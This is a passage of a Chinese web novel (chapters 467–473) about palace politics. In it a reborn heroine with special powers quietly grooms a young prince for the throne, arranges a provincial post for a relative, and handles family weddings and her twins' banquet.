许昭昭和谢铮二人商议之后,决定还是要低调,两家人都尽量少掺和别人家的事。 许翰倒觉得问题不大,毕竟现在陛下还健在呢。 许昭昭能猜到未来的天下,必然是在皇嫡子手上,所以,该交好的人,还是要交好。 但是,又不能太过。 所以,许昭昭便借着进宫谢恩的机会,也给皇后请安了。 曲皇后原本就想要拉拢许昭昭呢,要知道她背后站着的,可是谢、许两家,一旦他们都站在自己这一边,那么安王的太子之位就稳了。 事实上,现在曲皇后也觉得陛下会立安王为太子,毕竟安王是嫡子,而且这阵子陛下对安王的态度也极好。 但万事都不能掉以轻心。 而且,安王这里多些助力,自然是没有坏处的。 “生产前,您便屡次派人前往探望,按规矩,臣妇当早日进宫谢恩的。只是当时身子不便,还劳累娘娘担忧了。” “你能顺顺利利地生下两个儿子便好!陛下时常说你乖巧懂事,而且还孝顺。说过多少次要把你收做义女,偏你父亲不答应。若是应了,你如今不得唤我一声母后!” 许昭昭也笑了,知道这是皇后在拉拢她。 “谢谢陛下惦念,臣妇今日进宫,也给娘娘带了一些延年酒,不过与陛下所饮用的不同,这里面加了一些能帮助女子补气血的药材,所以口感上也不同。” 这样明显的示好,曲皇后自然是双手欢迎。 其实,都不需要曲皇后和许昭昭对外说什么,单凭着一条许昭昭在勤见完陛下后又去给皇后请安这一点,便很能说明问题。 尤其是,最后许昭昭离宫的时候,小殿下还跟着一起送出来的。 只是这么一个小小的细节,便足以让各方势力琢磨了。 姜家早料到许家不会支持忠王府,但是没想到,竟然能表现得如此直接。 第468章 顾不上我 许昭昭进宫谢恩之后,便要准备两个孩子的满月宴了。 说是满月宴,其实也是拖到了四十多天才开始办。 就在满月宴的前一天,永安帝下旨,册封安王李进为太子。 但是册封仪式,由礼部定在了一个多月之后。 谢景言和谢景思两个小娃娃的满月酒自然是要办得盛大。 京城但凡是有头有脸的勋贵名士,都争想前来道喜。 当然了,也有和谢、许两家不对付的,比如说姜家。 但是朝堂上再不合,私底下的这种应酬,也是不能少的。 就算是人不去,礼也得到。 许昭昭生完孩子才一个半月,但是身材已经完全恢复。 等到她出现在众人眼前时,所有人眼底都是惊艳之色。 生过孩子的都知道,女人的身材走样只是一方面,脸上还会长斑或者是掉头发,还有的则是连胳膊上的肉都是松松垮垮的。 但是这些,放在许昭昭身上是一点儿都看不到。 许昭昭脸上只有一层淡妆,那纤纤玉手一露出来,谁能想到是刚刚生过孩子的? 许昭昭今日穿的是新衣服,但是尺寸没变。 这原本就是怀孕时做的,当时芍药还特意请示过,是许昭昭自己要的这个尺寸,现在穿着正合适。 “呀,昭昭,你跟以前没有什么变化呀!” 许昭昭怀孕之后就极少出门,尤其是后来肚子大了,更是连锦绣园的门都不出了。 现在一些好友和亲戚们看到她,自然觉得意外。 这咋跟以前一模一样呀? 许昭昭一直没在前面露脸,能看到她的,也就是后面被请进来的这些贵女夫人们。 宴席未开,先听到了一声传旨消息。 这下子,所有人都往前院涌。 “陛下有赏!” 永安帝给两个小娃娃准备的礼物可不少,绫罗绸缎、金银宝器,不知道的,还以为这是给哪家的姑娘备嫁妆呢! 众人眼看着这一抬接一抬的东西往里送,很快空出来的院子就被摆了个七七八八,由此可见,安乐郡主在陛下心中的地位有多高! 此时此景,谁还敢小看许昭昭一眼? 当然,他们中大部分人原本也无人敢小看许昭昭,但是总有一些眼酸心妒的。 比如说一些皇室宗亲们,他们自诩身份高贵,皇族血脉,所以总会对外姓人多一些鄙视。 而许昭昭这个外姓人,不仅被陛下封了郡主,而且还是实封,如今又是各种赏赐往这里送,这是真把她当成亲闺女疼了! 如今宫里的人还没走,这些皇亲贵妇们心里头再不平衡,也只能忍着。 这就是规则! 有些过来道贺的人,看似衣着亮丽,皇家身份,但是实际上,如今早已落魄。 有的因为袭爵后已经降至公爵,但也只是一个空壳子,没有正经的好差事,祖产又被变卖花销等等,总之,那些个不受重视的皇族,日子可比不上真正受重用的臣子们。 许昭昭和谢铮一同谢恩后,再亲自送总管太监离开。 行至门前,总管太监回身:“二位留步吧。郡主,陛下还交待了一句话,说是既然小殿下喜欢您,也喜欢这两个小娃娃,便让他在你这里多住几日。小殿下前些年身子骨不好,所以平时极少出宫,陛下的意思,也是想让他看看这外头的风景,免得总是被宫中规矩所禁锢,再失了活力。” “烦请您回去禀告陛下,就说我许昭昭定会好好照顾小殿下。而且他既然唤我一声姐姐,我自然该有个姐姐的样子。” “如此甚好,老奴告退。” 许昭昭转身,正好对上谢铮眼底的疑问。 “想不通就不必想了,船到桥头自然直!” 今年谢、许两家都要筹备婚事,谢家主要是谢婵和郑拓的婚事,至于谢乔,还要再等一等。 这也是没办法的事。 遇上对面要守丧,谁跟这个也没办法。 许昭昭自打有了两个孩子之后,就鲜少理会外面的一些杂事。 许柱子和宋青姑娘是出入锦绣园最多的人,偶尔高大魁也会带着长生或者是高长信回来请安磕头。 小殿下在护国公府住下来,起初只是住上两三天便回宫,隔上一阵子再过来住。 几次之后,小殿下便干脆请旨直接住下了。 许昭昭将他安排在了锦绣园,小殿下自己占了一处院子,他出宫只带了一个内侍和一个嬷嬷,余下的都是护国公府的人来伺候。 许昭昭注意到,小殿下对于嬷嬷的态度不是很好,明显不及那位内侍。 “阿狸,休息一会儿,过来吃些东西。” 李光住在这里,可不是单纯为了玩乐,也是要读书的。 陛下心疼他这么多年一直缠绵病榻,所以除了读书之外,无事可做,所以才想着让他时常出来走走,最好是再学学骑马射箭,如此才能强身健体。 但是既然住在这里,就不能只习武,至少一天两个时辰的书还是要读的。 等到李光回宫之后,自有宫中的夫子来为考校他。 “姐姐,这是什么粥?怎么这么好喝?我以前都没喝过。” “这是用牛乳煮的,你以前没喝过,那是因为这法子是我琢磨出来的。里面加的这些东西,对你身体有好处,可以补气血的同时,又能让你长高。” “谢谢姐姐!” 许昭昭笑笑,一直看他吃完之后,才问:“我打算再过几日去百果园避暑,你有何打算?” 李光眼睛一亮:“百果园吗?我早就想去了!听说那里种了好多好多的果树花卉,而且还有好多仙鹤,是真的吗?” 许昭昭点头:“是真的。你也想去?” “当然想!”李光用力点头,恨不能现在立刻就去。 “此事你得先请示陛下,他同意了,你才能去。而且你也要记得跟皇后那里报备一下。” 李光听她提到皇后二字时,眼神已经黯淡几分。 “母后那里不用报备,她现在只想着太子哥哥和大孙子呢,顾不上我。” 许昭昭抬手在他额头上轻点一下:“又胡说!皇后只是忙碌,并非是顾不上你。你可要小心些,这等话日后切记不可再说,否则被有心人听去了,少不得要参你一本!” 第469章 提携 经过这些日子的相处,李光对许昭昭的信任越来越浓,对她的依赖也越来越强。 毕竟是小孩子,身为母亲的曲皇后,一直以来都是把重心放在李进身上,自然而然就会对小儿子忽视很多。 而且因为小儿子身体孱弱,曲皇后也从来不敢把重任往他的身上想,所以,难免就会偏心。 曲皇后心疼小儿子是一回事,但是真正的培养或者是在意,还是在李进身上。 没办法,她是皇后,唯有她的儿子登上皇位,曲家才能再继续屹立不倒,否则,等待她以及曲氏家族的,就只有覆灭。 她和姜贵妃斗了这么多年,外人不知情,她们自己又怎会不知道? 看似皇后与后宫妃嫔们相处融洽,但是实际上,一直都是明争暗斗不断。 曲皇后倒从未觉得自己委屈,毕竟她是皇后,而且无论是在何等的重大场合中,陛下也都给足了她体面,未曾做出过宠妾灭妻的言行。 所以,曲皇后也没有办法去责怪陛下。 而姜贵妃刚到陛下身边陪伴时,倒是时常仗着他的宠爱而有些跋扈。 但是被陛下训斥过一次之后,姜贵妃便再也不曾主动冒犯过皇后。 至少,不曾在陛下面前冒犯过。 或许,是姜太傅的教导有用,也或许,是那一次陛下的训斥,让姜贵妃意识到了妻与贵妾的不同。 这么多年,陛下对姜贵妃的宠爱一直未断,哪怕不断有新人进宫,但是姜贵妃在陛下那里仍然是享有一席之地。 这就不得不佩服姜贵妃的手段了。 曲皇后如今可以说是春风得意,走路都带风。 但是她也没忘了兄长的提醒。 太子虽然立下了,但是不代表一切就真的稳了。 至少,她知道姜贵妃不会支持太子,那么姜氏一派便不会支持太子。 所以,曲皇后还是想要将姜贵妃除掉。 但是这么多年了,方法用了不少,但是能成功的,唯有那一次,可惜姜贵妃到底还是被救回来了。 “禀娘娘,小殿下派人过来说,他今日代陛下去送贺礼,就在护国公府小住几日后再回来。” “嗯,让他住在那里也好。” 曲皇后有意对姜贵妃动手,而小儿子便是她的软肋。 如今小儿子在外面,倒是正好可以避开这一切。 “小殿下还说什么了?” “小殿下出宫的时候很兴奋,而且还口口声声地说要给两个小外甥带礼物。” “知道了,不过是两个小娃娃罢了。只要阿狸高兴,便都随他了。” “是。” 小殿下看似只带了两个宫人,但是实际上,是有一队羽林军跟着的,但他们一般都是在院子外面守着,所以平时也不会打扰到小殿下。 永安帝得知许昭昭想要带着小殿下出门,倒也没有什么好担心的,那么多人跟着,不可能再出事。 当然,在此之前,许昭昭先帮着于氏一起把谢婵的婚事给办了。 郑拓送来的聘礼不少,这次打仗,他自己的战利品不少,再加上还有陛下的赏赐,自然就更为丰厚。 郑拓自己家中无父无母,娶了媳妇,自然就是媳妇当家,所以这些东西是留在家中库房,还是送到媳妇那里做聘礼,都没有什么差别。 其实也不需要许昭昭做什么,毕竟有于氏在前面撑着,而一些细节有她身边的几位管事嬷嬷把控,那可是相当省心的。 出嫁前一日,于氏拿着单子过来找许昭昭,看到她还能如此惬意地听曲赏花,真是羡慕。 正好林嬷嬷进来禀事,许昭昭也没背着于氏,直接让她说。 “回少夫人,六小姐的所有嫁妆都盘点好了,这是最初的单子,这份是刚刚核对完的单子,相关的管事都在上面签字画押了。” “做的不错,你去跟大家都说一声,这两天都打起精神来好好办差,待咱们六姑娘风光大嫁后,所有人月钱翻倍。” “是,少夫人。奴婢先谢过少夫人赏了。” 普通下人的月钱没多少,不过就是几百个钱,但像她们这样的管事嬷嬷的月钱可不少呀! 这一翻倍,自然就更多。 于氏听到这话都是一惊,整个锦绣园上上下下,连管事带打杂的,这几十个仆从呢,全都翻倍? 这可真是大手笔! 听说许昭昭生产时,整个锦绣园就额外地得了赏,再加上国公府给赏,等于是拿了双份儿! 难怪府里头的下人们天天想着怎么能派到锦绣园来伺候呢。 芍药将单子接过来,然后就这么拿着站在一旁,显然是知道主子不打算看的。 “林嬷嬷,让你小儿子跑个腿儿,去趟百果园,就说过几天我要去那里小住几日,同行的还有一位贵客,让他们把里里外外都打扫干净了,该换的全都换新的。” “是,少夫人。” 林嬷嬷退下时,脸上都带着笑。 替主子跑腿儿,那是最能得赏的。 谢婵和郑拓成婚,谢娟和李顺自然也要回来。 自上次许昭昭和李顺谈过之后,一直到现在,都没有再见过他,也没有派人来传话,这让李顺的心里没底。 谢娟也跟着担忧,但是她也不敢去问嫂嫂,不知道从什么时候开始,她对嫂嫂就多了一种惧怕。 “七姑爷,世子和郡主请您过去说话。” 李顺心头一喜,知道这是机会来了。 “烦请前面带路。” 这种事,没有打算叫上谢娟,其实就是因为许昭昭担心谢娟这嘴不严实,有些事,还真不能让她知道。 “给世子请安,给郡主请安。” “在自己家里,七妹夫不必如此客气。” “是,嫂嫂。” 许昭昭示意他落座,之后紫苏和芍药二人便守在外面,只余他三人说话。 “先前问过你的事,确定考虑清楚了?” “是,一切但凭郡主差遣。我自知才学有限,能力不足,还需要郡主多多指教提点。” “这次,不会派你一人去豫州,我为你寻了一名护卫,同时也精于术算,而且我在豫州也有一些产业和人脉,你去了,不会太过受制。” 李顺立马起身,恭敬一揖:“多谢郡主提携。” 第470章 早有安排 “你也不必如此见外,你是谢娟的夫婿,与我们是一家人,你好我好,大家好嘛!” “是。” “你此去想要在豫州站稳脚跟,切记要多听听身边人的意见,遇事不可独断专行。” “是。” 许昭昭见他如此态度,倒是安下心来。 谢铮看她一眼,得到授意之后,这才到门外将一个长相普通,但是瞧着就是个练家子的年轻汉子引进来。 “此人日后便跟着你,他的身手不错,主要还是负责你的安全。到豫州之后,难免会被卷入一些是非之中,李顺,你要记住,任何时候,你的命才是最重要的。” 李顺立马明白:“您放心,我都明白。” 许昭昭又坐了一会儿之后,便先离开了。 谢铮看一眼李顺:“豫州的情况可能会有些棘手,郡主的意思是,如果你能办好,那么定然功绩加身,前程似锦。但若是办不好,不仅升迁可能会延后,甚至还有可能会沾染一身麻烦。” “世子放心,我都明白。能被郡主驱使,是我的荣幸。这是机会,我都懂。” 既然是机会,怎么可能只有好处,没有风险? 自古以来,都是富贵险中求! 一旦真地办成了,或者说是让郡主满意了,那后面的好处定然是数不过来的。 谢铮家两个孩子的满月宴,李顺自然也是参加了的。 就冲着陛下还特意遣内侍总管过来走一趟送赏赐,便能看出这位郡主在陛下心中的地位。 而且听闻孩子刚生下来的第二天,陛下就命人送来了一大堆的补品,皇后也没落下。 现在小皇子又是经常跟在郡主后面叫姐姐,谁能看不出来? 豫州的确是有些棘手,不是一时半会儿就能解决的。 许昭昭两年前就在豫州做了布置,如今再让李顺过去,不过是顶着一副官身,可以光明正大地操作一些事。 而且早在开春后,她便将高大魁派出去了,至于高长信和长生,这两人暂时还都留在京城。 高大魁行事稳重,而且还曾打过仗,是个硬汉子,这几年管理产业也是颇有成效,所以派他过去,许昭昭能更放心。 高大魁在豫州,就等于是许昭昭的话事人,一定程度上,能让那边的人言行上有所忌惮。 李顺的能力还是有的。 许昭昭之所以想要将他弄过去,就是因为他是谢家的女婿。 有这么一层身份,豫州那边的人,不敢轻易对他下手。 而且还有自己之前布置的人手,只要李顺能按照正常的流程走,最晚明年,应该也就可以看到效果了。 许昭昭带着孩子们去了百果园,原本老夫人有些担心的,民间有习俗,一般就是孩子不足百日,轻易是连屋子都不能出的。 但是许昭昭坚持要去,而且谢铮也站在她那边,老夫人也不好再阻拦。 小殿下李光一到百果园,便按捺不住了,也顾不得什么小外甥不小外甥了,直接就往里面跑。 许昭昭这里还没安顿好呢,就听到李光兴奋的喊声:“呀!真的有仙鹤,好漂亮!” 许昭昭笑笑,示意大家继续收拾,自己则是慢悠悠地往外走。 这里不仅有仙鹤,还有其它的一些小动物,李光看半天仙鹤后,又去看被下人喂养的兔子。 “兔子还能养?” 许昭昭靠近他:“为何不能?” 李光蹲在地上,一点儿形象也不顾,抬头道:“可是我以前也养过,但是都死了。” 许昭昭笑笑:“那是因为你不会养,或者说是御兽园的那些人不会养。如果喜欢,等走的时候可以带上两只回去养。” 免子的繁殖能力可是相当吓人的。 所以,当时许昭昭才会选择了让人们养兔子。 刚开始的时候,这里太穷,要什么没什么,而且人活着也不能真地就一年到头吃不到一口肉。 所以,许昭昭才让人弄了自己的养殖园。 其实也很简单,就是划出一片地方来,专门喂养这些小东西。 比如说兔子、鸡鸭等等。 现在这里倒是挺好,环境好,风景好,而且温度也好,适合住人。 谢铮要当值,不可能天天住在这里,但是只要他有空,就会到这里住着来陪他们母子三人。 许昭昭将李光带在身边亲自教导,但她教的,都是书本上没有的,宫中夫子不知道的。 比如说,许昭昭会告诉他,什么时节要播种,农户们收获之后,要交多少的税,一家五口人一年要消耗掉多少粮食才能活下来等等。 许昭昭教他的,都是基本的生活常识。 但身为皇子,恰恰对这些一无所知。 许昭昭心中早已有了打算,既然这位小殿下愿意与她亲近,而且还有那样的野心,那自己为何不能扶他上位呢? 再则说了,如果她没记错的话,李进,也就是以前的安王,当今太子,这个男人的心可是狠着呢。 在姜宁上辈子的记忆中,李进没少杀人,尤其是他坐稳皇位之后,更是大杀功臣,首当其冲的,就是整个姜家。 仅从这一点上来判断,这李安就不是一个可以深交之人,更不可信。 所以,许昭昭一直在为许、谢两家想退路,或者是想一条更安全稳妥的路。 直到去年针对她的流言开始之后,许昭昭才突然想到了那位病弱的小皇子。 谁能想到,当初将小皇子也带去皇庄,其实一开始,就是许昭昭的打算呢。 果然,因为小皇子的身体是被许昭昭的异能喂养才治好的,所以他天然就爱接近许昭昭,也更依赖她。 机会这不就来了! 陛下的身体还很好,十年八年内不会有问题。 而且有许昭昭在,说句毫不夸张的话,只要陛下的头没掉,许昭昭就有办法把他救活。 所以,有许昭昭这样强大的辅助在,怎么可能会眼睁睁地看着一个掌权后便凶性毕露的李进上位? 等着吧,太子之位看似立下,也看似稳固,实际上,真正的争斗才刚刚开始。 忠王绝对不会善罢甘休的。 而接下来,永安帝定然也会考虑到平衡之术,他是皇帝,哪怕是自己的亲儿子,也不能觊觎他不愿意给的东西! 这就是人性! 第471章 开始养蛊 谢景言和谢景思两个小朋友刚刚换了一个新环境,却好像根本不受影响,照样是吃了睡,睡了吃。 晨光像融化的蜂蜜般漫过明显大一号的婴儿床栏杆时,两团穿着上等丝绸缝制小衣裳的小家伙正在上演默剧。 哥哥谢景言突然用肉乎乎的手掌拍醒弟弟,两双睫毛颤动的眼睛同时睁开,乌溜溜的瞳仁里映出彼此倒影,像两滴互相追逐的墨珠坠入奶白色的晨雾中。 不知道是不是因为被拍疼了,弟弟谢景思的小嘴一撇就要哭。 但是还没等他哭出声来,哥哥谢景言的一个巴掌又过来了。 当然不是在故意打他。 但是就因为这么一下,弟弟谢景思的表情一下子僵住,也不知道是不疼,还是其它原因,总之弟弟没哭出来,然后呆萌萌地眨着眼睛看,小脚还跟着蹬。 两位乳母都过来抱孩子,哥哥谢景言急不可待地蹬着象腿般的胖腿,开始往乳母的怀里扑。 而弟弟谢景思却慢条斯理地等着乳母把她抱起来。 两个孩子很快被喂饱,再次被放回到小床上,弟弟谢景思突然伸出沾满口水的爪子,精准揪住哥哥头上那撮总翘着的呆毛。 “呀!” 哥哥谢景言叫了一声,很快就被乳母上前解救了出来。 许昭昭进来时,正好看到这一幕,没忍住,笑个不停。 谢景言和谢景思两个孩子听到了娘亲的声音,一瞬间都兴奋起来,个个伸胳膊蹬腿儿的,好像就只等着让娘亲来抱抱。 许昭昭走过去,坐在婴儿床旁边的绣墩上伸手来逗两个孩子玩耍。 孩子还太小,只能躺着,哪怕他们拼命地挥舞胳膊,努力蹬腿,也还是站不起来,此时见娘亲又没有要抱他们的意思,自然是急得嗷嗷直叫。 乳母原想着抱起来哄一哄,但是被许昭昭制止了。 又没有哭,他们急一急也没事,况且有自己在这儿,绝对不会让他们两个出事。 许昭昭逗了一会儿之后,李光进来了。 “姐姐,我就说去你那里请安你没在呢,敢情这么早就过来看两个小外甥了。” “你练完晨功了?” “练完了。父皇给我找的武师傅还是很严格的,我也不敢不听。我是沐浴完才过来的。” 许昭昭笑笑:“那走吧,也该用早膳了。” 李光现在每天早上都练晨功,这也是当初许昭昭进宫时向陛下提出来的建议,一切都是为了让李光能更健康地长大,陛下自然应允。 “姐姐,我今天不用背书,你不是说要带我去体察民情吗?咱们什么时候出发?” “你急什么!等用过早膳后,你把衣裳换一下,穿成这样,不合适。” “好。” 李光倒也痛快,不问为什么,一口应下。 许昭昭今天打算带他去外面走走。 一直待在百果园里,只会给他一种天下太平,百姓安居乐业的假象。 如今大兴境内太平是不假,但是并非所有人都能吃饱穿暖。 一年到头吃不上肉的老百姓,大有人在。 许昭昭今天只带着李光出门,两个孩子除了乳母之外,还有几位嬷嬷留下来照看,紫苏也被留下了。 芍药和海棠跟着许昭昭一起出门,他们身边还跟着一队护卫,不过都换了普通百姓的衣服,省得再惊扰了百姓。 许昭昭特意带着他走远一些,离京城越远的县,越穷。 当然,他们也没走太远。 许昭昭今日没坐马车,直接换上一身男装,然后几人一起骑马前行。 这里是许昭昭提前派人来查看过的,确信这里较穷,老百姓能吃饱,但也别指望着能吃太好。 一行人在这里下马,然后带着李光开始四处转。 李光年纪虽然不是很大,但他早慧。 不需要许昭昭说太多,他就能明白自己看到的,跟自己想像中的差距实在是太大了。 原来他在百果园看到的那些佃农能吃的饱穿的暖,只是其中一小部分人。 而在他平时看不见的地方,还有这么多的人在吃苦受罪。 “你刚刚看到的那一家,原本是有七口人,四个男丁的,但是年前,其中一个男人好酒,回来的路上自己摔进沟里,晕过去,在外面冻了一天一夜,再也没救回来。 还有一个壮丁被征为府兵,如今正在接受操练,家中如今仅余一个五十余岁的老汉和三岁的小娃娃,其它三个女眷,皆不识字,其中老太太的眼睛还瞎了。你说他们一家生计靠何维持?” 李光没说话,因为他实在是不知道应该说什么。 这种情形,他平生仅见。 “走吧,今天带你看了十来户人家,这一家的情况最为特殊,等回去后,你可以再慢慢想。不急,三天内,把你的真实感受和想法告诉我。” “姐姐,他们这样的人家很多吗?” “这要你自己去看。” 李光点点头,不再问了。 一直到晚上,他们才回到了百果园。 李光的情绪一直很低沉。 可能是受那些太过震撼的画面影响,也有可能是在思索着姐姐给他出的难题。 这一晚,李光罕见地失眠了。 许昭昭在有意识地培养李光,她不需要李光多有才华,也不需要他多能打,但是一定要有一颗仁慈宽广的心。 不让他看到民间疾苦,日后又怎么可能真的愿意为百姓做主呢? 许昭昭以前一直以为,史书上看到的明君,一定是个愿意为百姓做主的好君主。 可是实际上,她在这里生活了几年之后才真地看透,任何上位者的眼中,只有权势、利益、平衡。 至于百姓,在他们眼中,不过是一群牛马,可以为他提供各种各样的价值,他们的生死,上位者自然会在意,但在意的点,绝对不是这些人活的好不好,死没死,而是在于如果活着,能给他带来多大的利益,如果死了,又会让他有什么样的损失。 其实,还可以说得更委婉一些。 就是在上位者眼中,只有大局,没有个人生死。 一旦影响到大局,连朝中重臣上位者都能眼睛不眨一下地杀了,更何况是他看不见的穷苦百姓呢? 第472章 豫州急报 许昭昭不愿意把人性想得太过险恶,但是从末世里走出来的她,比谁都更清楚面对生死关头,真正能信的人,没几个。 有人愿意为你抛头颅洒热血,也有人会毫不犹豫地背刺你。 有人会感激你在危难之际出手救下他,所以一辈子为你肝脑涂地。 也有人会痛恨你解救他太迟了,就应该比他过得还要凄惨狼狈。 所以说,人心是看不见的。 没有谁能真正地摸透另外一个人的心,哪怕是再厉害的谋士,也有失策之时。 所以,许昭昭必须要趁早下手。 现在趁着小殿下年纪小,正是树立三观的时候,慢慢地把他的一些价值观或者是仁善之心给培养起来。 而且许昭昭对于自己的异能再自信,也不敢笃定小殿下会一辈子亲近她。 所以,洗脑是最好的办法。 许昭昭知道李光和曲皇后之间已经生了嫌隙,但是只有这点嫌隙,并不足以让李光和曲家翻脸,毕竟那是他的亲外祖家。 不急。 时间还很长,慢慢来。 许昭昭带着李光在百果园住了不到半个月,豫州便有急报送到京中了。 许昭昭和谢铮对此毫不意外,因为这本身就是他们安排的。 豫州现任长史的儿子在地方上欺男霸女,引起民愤,所以被上官斥责之后,竟是心怀不满,意图与京中的靠山联系,从而打压上官。 事情败露,此事被巡查御史发现,之后火速上报。 这一查,就追查以了太子府。 这可不得了了! 太子才刚刚册立,甚至都还没有正式的礼仪,所以一路上,带这个消息入京的人,被无数人追拦截杀。 但到底,还是送到京中了。 谢铮寻到百果园来时,正好看到许昭昭和李光二人一起在书房内练字,一左一右,中间还隔了差不多有两张桌子的距离。 李光身边是一个小内侍在服侍,而许昭昭身边则是海棠。 许昭昭只是抬眼一瞧,便吩咐其它人都先出去,包括小殿下。 “姐姐?”李光明显是不想走。 “听话,你还小,有些事不适合你现在知道。” “好吧。” 李光看出来了,姐夫的表情不太好,应该不是什么好事。 “可是豫州的消息?” “是,你没猜错,豫州长史果然是与太子府有勾结。现在事发,陛下的意思,应该是要保住太子的颜面。” “这很正常。若我是陛下,我也会想着保住太子,把罪责都推给底下的人,不能让太子担上一个恶名。” “这就是你想把李顺派去豫州的主要原因?” “不止。李顺不一定能做好一任地方主官,所以才让他做长史试试。若是可行,日后再另行谋划。若是难当大任,那就只能是再想其它出路了。” “你肯定李顺能到豫州任职?” “七成把握吧。” 谢铮一愣,七成把握也不低了。 但他没想明白,许昭昭到底是怎么做到的。 没看到他和吏部的官员有来往呀? 谢铮眼神一亮:“曲家?” “如今太子虽然册立,但是这次的事情,明显于太子不利。这也就是说,太子地位不稳,无论是曲皇后还是曲世绩,必然都会想办法安排合适的人去豫州。 但是事涉太子,所以,曲氏一系的官员就不可用,陛下也不会答应的。而忠王府那边必然也不会轻易放过这么好的一次机会,一定会想法子安排自己人去豫州调查,拼命地想要挖出太子涉入其中的证据。 陛下会维护太子,但也不能维护太过。所以,此去豫州,陛下应该会安排忠王推荐的人选,但是曲氏这边要推荐谁呢?既不能是敌对方的人,也不能是自己人,那就只能是找中间派。” 谢铮点点头,对于媳妇的推测自然是没有意见。 “但是中间派中,明显与曲家交好的,总共也不过那么几家,而且还要从中挑选出有一定地位和权势的人才好,免得到了豫州之后,压不住忠王那边的人。” “不错。所以这个时候如果有人推荐李顺到曲尚书面前,你觉得他会不会用?” “我不明白,你为何提前那么久就先通知了李顺,你不怕他将消息走漏出去?” 许昭昭轻笑:“他若是连自己的嘴都管不住,那么我们也没有扶持他的必要。另外,这也算是一场测试,自从他知道这个消息之后,便一直在暗中搜集豫州的相关消息,同时,还会去查豫州的一些名士官宦。” 谢铮点点头:“你是担心他没脑子吧?” 许昭昭笑了。 谢铮牵住她的手:“劳你费心了。” “说什么傻话!咱们是一家人,谢家若是不好,我还能独善其身不成?” 谢铮笑着在她脸上亲一口:“昭昭,我何其有幸才能娶你为妻。” “知道就好!以后莫要欺负我才是。” “我怎么敢?就算是欺负,也是你欺负我才是!” 谢铮话落,眼神中已经荡起一层暧昧,好几天不曾见过她了,自然更不曾亲近,眼下两人独处,谢铮哪里还能忍得住? “不是,等会儿,你大白天的发什么情?” “昭昭,我想!” 许昭昭一愣,也就是这么一息之间,谢铮已经把她打横抱起来了。 “不行!谢铮,这里是书房!” “我抱你去里间,而且外面都是我的人,不用担心。” 许昭昭握拳捶他,她是这个意思吗? 但是任她怎么捶也没用。 不知道为什么,反正谢铮觉得自己越来越离不开许昭昭了。 不仅仅是情感上的,还有身体上的,他觉得许昭昭就像是一个狐狸精一样,只要跟她独处,总会不由自主。 但是很显然,许昭昭没有意识到这一点。 谢铮已经有几天没有和许昭昭见面了,这一抱上,可就忍不住了。 这一折腾,一直到用晚膳时,许昭昭才出来。 好在谢铮已经吩咐过,让李光单独在自己院中用膳,要不然,许昭昭这脸就丢大了。 但是实际上,这也没好多少。 因为整个百果园的人都知道姑爷来了,他们的主子就一直没再露过面儿。 这一晚,下人们都识趣地没再主动靠近主屋。 第473章 消暑 李顺一直以为郡主就是走正常渠道推荐他,或者是利用她的人脉来帮自己安排。 万万没想到,豫州前任长史出事,竟然就是她的手笔。 这件事,谢铮没有瞒他。 让李顺知道这件事,就是让他得知道害怕,知道许昭昭的能量有多大! 谢铮自己不适合沾这些东西,因为他是武将。 谢、许两家,其实谁都不适合去沾文官,尤其是吏治上的事,这会严重地影响到他们在陛下心中的地位。 但是许昭昭不一样。 她是女子,而且还是陛下认定的福星。 再说了,这件事,若是谢铮不说,谁又能想到这是一位年岁不及二十的女子所为呢? 这心计,这谋略,太过骇人! 此时的李顺,还没有真正地意识到,许昭昭的谋算究竟有多恐怖。 长安令刘起向曲世绩举荐了李顺,除了肯定这个人的才能之外,还提到此人应该是得谢家看重,毕竟是谢啸林的女婿,原本就有提携之意。 若是此时曲世绩愿意给李顺这样一个机会,那就等于是与护国公府的关系更为亲密。 曲世绩一想事实也的确如此。 提携李顺,能卖谢啸林一个好,而且还能将太子之事隐下,再合适不过。 不出三天,李顺就接到了吏部调令,任命他为豫州长史,两日后动身赴任。 谢娟知道这个消息后,是既高兴,又有几分不舍。 毕竟夫君这是升官了,好事。 可是如今自己大着肚子,又实在是不愿意让他远行。 好在,李顺接到调令后不久,护国公府就派人过来了,除了帮着李顺安排一路行程之事,还特意安排小宋氏过来陪着谢娟说说话。 考虑到谢娟的肚子,所以许昭昭特意派人来知会一声,待李顺走后,可以接谢娟回国公府小住几日,之后再由小宋氏陪她一起在李家小住。 这也是为了安抚一下谢娟的情绪,毕竟是孕妇,而且产期将至,此时将李顺派出去,的确不太好。 但是没办法,朝廷大事,岂能只看你一介妇人之意愿? 谢家如今就只有四房的谢乔还未出嫁,要等到那边除孝之后再商议新婚期。 小林氏现在正在给谢乔筹备嫁妆,其实之前就筹备地差不多了。 但是她看到谢婵和谢娟出嫁时嫁妆那样丰厚,心有不甘,总觉得自己的女儿才是嫡出,无论如何,都要比那两个庶女更好才行。 只是她没想到,自己想从老夫人那里抠些好东西出来,比以前可难多了。 而且就算是她能抠出来又怎样呢? 听说许昭昭给谢婵和谢娟表面上准备的嫁妆看似寻常,但是实际上给了不少的银钱,就存在大兴银号里。 小林氏此时才意识到,同样都是有陪嫁产业,但是自己的那些产业一年的进项好像都比不过许昭昭的一个零头! 就离谱! 百果园可能是因为绿植多,再加上有山为依靠,所以这里明显比京城要凉快得多。 所以等进入五月后,许昭昭便提议让母亲他们带着孩子过来避暑。 王若兰觉得还早,怎么着也得到了六月再去。 许昭昭自己的陪嫁,她想请谁去就请谁去,这个谁也说不出什么不满的话来。 但小林氏是早就听说那百果园漂亮,寻常人是根本就近前不得的。 也就是之前许昭昭在那里办过几场宴会,这才引得不少勋贵前往。 但是,并非所有勋贵都有资格在那里宴客赏乐的。 比如说和许昭昭交好的乐阳郡主,她就可以。 但是宫中的几位公主都不行。 “昭昭,听说你那百果园夏季凉爽,老夫人这些日子肠胃不适,大夫说得多走动,只是这一动弹,就容易出汗,老夫人也不乐意,不如请老夫人到百果园去避避暑?” 小林氏当众提出来,许昭昭自然不会回绝。 况且,她说的是老夫人。 “祖母觉得呢?百果园的景致还不错,而且也比这里要凉爽一些,唯一的不好,可能就是没有国公府这般华丽。” 老夫人笑着拒绝:“不去了不去了。一把老骨头,就在府里好好住着就行,没的还得折腾这么一大群人忙前忙后的,太麻烦。” 小林氏连忙道:“母亲这话说的,您可是咱们家的老祖宗,谁为您忙那也是心甘情愿的呀!” 于氏笑着打哈哈:“母亲,昭昭说的也没错,您考虑一下,毕竟大夫也是嘱咐过您得适当地多走动。若是去了百果园,应该会比这里更舒适一些。” “哈哈,你们呀不必多说了,知道你们都是孝顺,不过我老婆子在这里住惯了,哪儿也不去。” 